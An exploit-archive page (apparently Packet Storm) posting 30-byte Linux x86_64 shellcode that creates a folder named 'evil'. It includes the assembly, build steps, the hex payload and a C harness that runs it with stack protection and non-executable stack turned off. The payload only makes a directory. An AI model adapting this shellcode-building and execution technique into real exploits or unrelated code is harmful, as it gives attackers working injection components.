exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86_64 mkdir() Shellcode

Linux/x86_64 mkdir() Shellcode
Posted Sep 27, 2017
Authored by Touhid M.Shaikh

30 bytes small Linux/x86_64 mkdir() shellcode.

tags | shellcode
systems | linux
SHA-256 | 3154b02a88675f37e8780c81b32546679ba6686baf27481ec41777b0a348c642

Linux/x86_64 mkdir() Shellcode

Change Mirror Download
/*
;Title: Linux/x86_64 - mkdir() shellcode (30 bytes)
;Author: Touhid M.Shaikh
;Contact: *https://github.com/touhidshaikh
<https://github.com/touhidshaikh>*
;Category: Shellcode
;Architecture: Linux x86_64
;Description: Create Folder with 755 permission.
; You can Change folder by change code in ASM in fname Field
;Shellcode Length: 30
;Tested on : Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux



===== COMPILATION AND EXECUTION Assemmbly file =====

#nasm -f elf64 shell.asm -o shell.o <=== Making Object File

#ld shell.o -o shell <=== Making Binary File

#./bin2shell.sh shell <== xtract hex code from the binary
(https://github.com/touhidshaikh/bin2shell)

=================SHELLCODE(INTEL FORMAT)=================

section .text
global _start
_start:
jmp folder
main:
xor rax,rax
pop rdi
mov si,0x1ef ;<--- Set Permission
add al,83
syscall

xor rax,rax
add al,60
syscall
folder:
call main
fname db "evil" ;<---Change Folder Name Here


=======================END HERE============================

====================FOR C Compile===========================

Compile with gcc with some options.

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing

*/

#include<stdio.h>
#include<string.h>


unsigned char code[] = "\xeb\x13\x48\x31\xc0\x5f\x66\
xbe\xef\x01\x04\x53\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\
xe8\xe8\xff\xff\xff\x65\x76\x69\x6c";

main()
{

printf("Shellcode Length: %d\n", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close